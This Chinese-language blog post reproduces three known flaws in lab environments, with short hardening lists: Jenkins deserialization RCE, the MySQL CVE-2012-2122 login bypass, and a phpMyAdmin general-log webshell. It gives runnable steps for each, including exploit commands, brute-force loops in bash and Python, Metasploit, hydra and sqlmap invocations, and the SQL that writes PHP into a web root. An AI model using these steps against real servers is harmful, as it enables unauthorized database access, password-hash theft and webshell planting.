Jenkins漏洞 && MySQL漏洞 && PHPadmin漏洞

2019-05-19

Jenkins漏洞

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作.

JenkinsMiner加密货币挖矿软件攻击我国某机构
https://paper.tuisec.win/detail/a67d6915379bb86

序列化就是把对象转成字节流，便于保存在内存、文件、数据库中；
反序列化即逆过程，由字节流还原成对象。

所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

环境下载：https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353

复现：
生成序列化字符串

1	java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"

发送数据包，执行命令

1	Python exploit.py

防护

到官网下载升级的安装包（war包）
查看最新漏洞情况 www.freebuf.com
查看线上环境是否有最新漏洞情况 www.exploit-db.com

MySQL漏洞

输入的密码会与期望的正确密码比较，由于不正确的处理,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库,概率为1/256
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/

受影响版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

搭建CVE-2012-2122漏洞环境

docker-compose.yml

version: '2'
services:
mysql:
    image: vulhub/mysql:5.5.23
    ports:
        - "3306:3306”

docker-compose up -d

复现漏洞

在出现了CVE-2012-2122漏洞得机器上可以使用以下3方式来登录MySQL

1）Bash

1	for i in `seq 1 1000`; do mysql -u root --password=bad -h 渗透IP地址 2>/dev/null; done

2）Metasploit
Metasploit是kali系统自带的安全漏洞检测工具

use auxiliary/scanner/mysql/mysql_authbypass_hashdump #加载模块

show options #查看属性

set RHOST 渗透IP地址 #设置IP地址

exploit或run #执行

得到的密码用cmd5加密过的可以在 https://www.cmd5.com/ 解密出来

3）Python

1
2
3

#!/usr/bin/python 
import subprocess 
while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

MySQL的弱密码破解

Nmap

Nmap是一个网络连接端扫描软件，用来扫描网上电脑开放的网络连接端。可以用来扫描端口。

1	nmap -sV -Pn --open -p3306 渗透IP地址 ##-sV 查看当前版本 -Pn 禁止ping

Hydra

爆破密码工具。

1	hydra -l root -P password.txt mysql://渗透IP地址 -vV

MySQL注入利用

sqlmap

1	sqlmap -u "http://192.168.4.104/web/Less-1/?id=1" -v 3

防护

1）检查是否避免运维账号共享
2）检查是否使用默认端口
3.）检查是否设置禁止MySQL对本地文件存取lood_file('/etc/passwd')

1	revoke file on . from 'user3'@'127.0.0.1';

4）检查test库是否已被删除。

1 2	SHOW DATABASES LIKE 'test'; DROP DATABASE "test";

5）检查默认管理员账号是否已更名

1	update user set user="newUserName" where user="root";

6）设置MySQL守护进程专用最小特权帐户

1	ps -ef\|egrep "^mysql.*$"

7）禁用MySQL命令历史记录(默认在用户名下生成)
将MYSQL_HISTFILE环境变量设置为/dev/null

1
2
3

.bash_profile,export MYSQL_HISTFILE=/dev/null
或者
ln -s /dev/null $HOME/.mysql_history

8）备份策略
9）确保仅管理员具有完全数据库访问权限
网站配置不允许使用root权限
错误：grant all on *.* to user1 identified by '123456';
指定数据库：

1	grant all on db1.* to 'user2' @'ip' identified by '123456'

phpmyadmin漏洞

phpmyadmin是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具。

通过general log获取webshell

mysql> show variables like '%general%'; 
mysql> set global general_log = on;

mysql> set global general_log_file ='网站路径’; 
mysql> select ‘<?php phpinfo(); ?>;

mysql> set global general_log_file =‘还原’; 
mysql> set global general_log = off;

防护

1）删除phpadmin
2）限制访问phpadmin